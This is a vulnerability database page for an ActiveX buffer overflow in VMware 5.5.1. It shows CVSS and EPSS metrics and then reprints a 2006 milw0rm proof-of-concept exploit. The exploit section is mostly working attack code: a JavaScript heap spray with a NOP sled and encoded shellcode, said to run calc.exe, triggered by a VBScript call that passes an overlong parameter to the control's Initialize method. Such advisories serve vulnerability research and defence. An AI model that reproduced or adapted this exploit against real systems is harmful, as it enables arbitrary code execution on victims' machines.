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CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in an ActiveX control in VMWare 5.5.1 allows local users to execute arbitrary code via a long VmdbDb parameter to the Initialize function.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.14%
–
–
2022-03-06
–
–
2.14%
–
–
2022-04-03
–
–
2.14%
–
–
2022-06-12
–
–
2.14%
–
–
2022-11-06
–
–
2.14%
–
–
2022-11-20
–
–
2.14%
–
–
2022-12-11
–
–
2.14%
–
–
2023-01-01
–
–
2.14%
–
–
2023-02-12
–
–
2.14%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.32%
2025-03-30
–
–
–
–
0.23%
2025-04-06
–
–
–
–
0.23%
2025-04-15
–
–
–
–
0.23%
2025-05-01
–
–
–
–
0.23%
2025-05-04
–
–
–
–
0.23%
2025-05-04
–
–
–
–
0.23,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
*****************************************************************************************************************
$ An open security advisory #17 - VMWare ActiveX lame local overflow
*****************************************************************************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org
2: Bug Released: August 18th or so... 2006
3: Bug Impact Rate: Code execution
4: Bug Scope Rate: Local
*****************************************************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial gain.
*****************************************************************************************************************
VMWare
http://vmware.com
"Revolutionize software development, testing and deployment in your enterprise with powerful virtual
machine software for developers and system administrators. VMware Workstation delivers powerful
virtual machine software for the technical professional."
Since this is a local only for ActiveX component, it requires being emailed or distribution via some
p2p file share network or p2p chat networks. Pretty useless :)
*/
<html>
<head>
<title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title>
</head>
<body>
<center>
<br>
Discovered and developed by c0ntex - c0ntexb@gmail.com<br>
Visit my website at http://www.open-security.org<br>
<br>
<h3>
This will exploit overflow and execute calc.exe on WinXP Pro SP2<br>
(fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br>
</h3>
I have only found a bad solution to this bug. Due to the fact that<br>
my controlling assembler is a call dword ptr[reg] I need to point<br>
to a location I control, fine. However my payload is random pretty<br>
much every run. Therefor I fill half a HUGE buffer with the address<br>
(pointer) to my evil buffer, which them trampolines me to shellcode<br>
<br>
call ptr [reg]<br>
[reg] -> 0xtrampoline<br>
0xtrampoline -> shellcode<br>
<br>
</center>
<script>
var buffa1 = unescape("%uedb0%u0d91")
do {
buffa1 += buffa1;
}
while (buffa1.length < 0x500000);
var buffa2 = unescape("%u9090%u9090")
do {
buffa2 += buffa2;
}
while (buffa2.length < 0x800000);
buffa1 += buffa2;
buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
</script>
<object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744">
</object>
<script language="vbscript">
VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
VmdbPoll=200011744
target.Initialize VmdbDb, VmdbPoll
</script>
</body>
# milw0rm.com [2006-08-27]